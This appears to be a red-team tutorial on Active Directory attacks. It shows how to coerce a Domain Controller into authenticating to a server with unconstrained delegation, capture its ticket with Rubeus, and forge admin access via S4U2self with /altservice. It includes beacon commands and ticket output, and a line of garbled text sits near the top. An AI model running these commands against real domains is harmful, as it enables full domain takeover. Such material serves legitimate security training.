page4S4U2self

BUIUHNYUGBGNDSDMHMUAMJDJDIJOA;OKDOPKJIDAMJ)DMUJOIQAIJODUNHIAIUMHDNUIHADNUIHIODJPIMJO;DAI;JDOJ;IDMOIJAHUIDG/) NTNY/)DNY")(NE//"EU)(=

In the real world, we can’t wait for an administrator to log in. Fortunately, we don’t have to. We can force a machine to authenticate with us.

At its core, it’s the same rubbish as Unconstrained Delegation, just with more steps and a bigger pain in the arse.

Step 1: Force Authentication and Capture the TGT

There are multiple "remote authentication triggers" that can coerce a machine into authenticating to another. Two very well-known techniques are:

  • SpoolSample (by Lee Christensen): Abuses the Print System Remote Protocol ([MS-RPRN]).

  • PetitPotam (by Topotam): Abuses the Encrypting File System Remote Protocol ([MS-EFSRPC]).

The attack plan is as follows:

  1. On our compromised server ([COMPROMISED_SERVER]), which has Unconstrained Delegation enabled, we start Rubeus to monitor for incoming TGTs.

  2. From any machine in the domain, we use a trigger like SharpSpoolTrigger to order the Domain Controller ([DOMAIN_CONTROLLER]) to authenticate to our server ([COMPROMISED_SERVER]).

On [COMPROMISED_SERVER] (our compromised machine):

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe monitor /interval:5 /nowrap

From another machine (launching the attack):

beacon> execute-assembly C:\Tools\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe [DOMAIN_CONTROLLER] [COMPROMISED_SERVER]

NdrClientCall2x64[-]RpcRemoteFindFirstPrinterChangeNotificationEx status: 6

Immediately, Rubeus on [COMPROMISED_SERVER] will capture the Domain Controller's TGT.

[*] 21/02/2025 11:54:39 UTC - Found new TGT:

  User                  :  [DOMAIN_CONTROLLER]$@[DOMAIN.COM]

  StartTime             :  21/02/2025 10:39:21

  EndTime               :  21/02/2025 20:38:58

  RenewTill             :  28/02/2025 10:38:58

  Flags                 :  name_canonicalize, pre_authent, renewable, forwarded, forwardable

  Base64EncodedTicket   :    doIFt[...snip...]5DT00=

Step 2: The Problem (Why the Machine TGT isn't Enough)

You might think it's "Game Over". We have the DC's TGT. However, if we inject this ticket and attempt to access an administrative resource like the C$ drive, we will fail.

Access is denied. This is due to a Windows security feature: machine accounts do not have local admin rights on themselves remotely. The [DOMAIN_CONTROLLER]$ TGT does not give us administrative rights over [DOMAIN_CONTROLLER].

Step 3: The Solution (S4U2self Abuse "Wagging the Dog")

Here is where a brilliant technique comes into play, popularised by Elad Shamir and implemented in Rubeus by Charlie Clark.

We can use the machine TGT ([DOMAIN_CONTROLLER]$) to perform an S4U2self request.

Normally, S4U2self is used in constrained delegation to obtain a ticket for a user to the service itself. But here, we are going to abuse it.

We will use the Rubeus s4u command with two special parameters: /self and /altservice.

Let's break this down:

  • /impersonateuser:[ADMIN_USER]: We tell the KDC we want a ticket on behalf of the user [ADMIN_USER].

  • /ticket:...: We provide the machine TGT ([DOMAIN_CONTROLLER]$) that we captured.

  • /self: This is key. It tells Rubeus to only perform the S4U2self part (requesting a ticket for [ADMIN_USER]@[DOMAIN_CONTROLLER]$) and not to attempt an S4U2proxy.

  • /altservice:cifs/[DOMAIN_CONTROLLER]: This is the magic. Rubeus receives the S4U2self ticket (which would be for [ADMIN_USER]@[DOMAIN_CONTROLLER]$) and simply replaces the service name inside the ticket with cifs/[DOMAIN_CONTROLLER].

The result is a perfectly valid service ticket for the user [ADMIN_USER] targeting the service cifs/[DOMAIN_CONTROLLER].

Why does this work? The service ticket is encrypted with the target service's key. In this case, the service is cifs/[DOMAIN_CONTROLLER], which runs in the context of SYSTEM on [DOMAIN_CONTROLLER]... which is to say, the [DOMAIN_CONTROLLER]$ account!

Since the KDC issued the original ticket based on the [DOMAIN_CONTROLLER]$ TGT, and the CIFS service runs as [DOMAIN_CONTROLLER]$, the DC can decrypt and accept this ticket without any issues.

Now, we inject this new service ticket. Listing our tickets, we see we are no longer [DOMAIN_CONTROLLER]$, but [ADMIN_USER] with a ticket for cifs.

We have converted a machine account TGT, obtained by forcing authentication onto a server with unconstrained delegation, into full administrative access to the Domain Controller.

Última actualización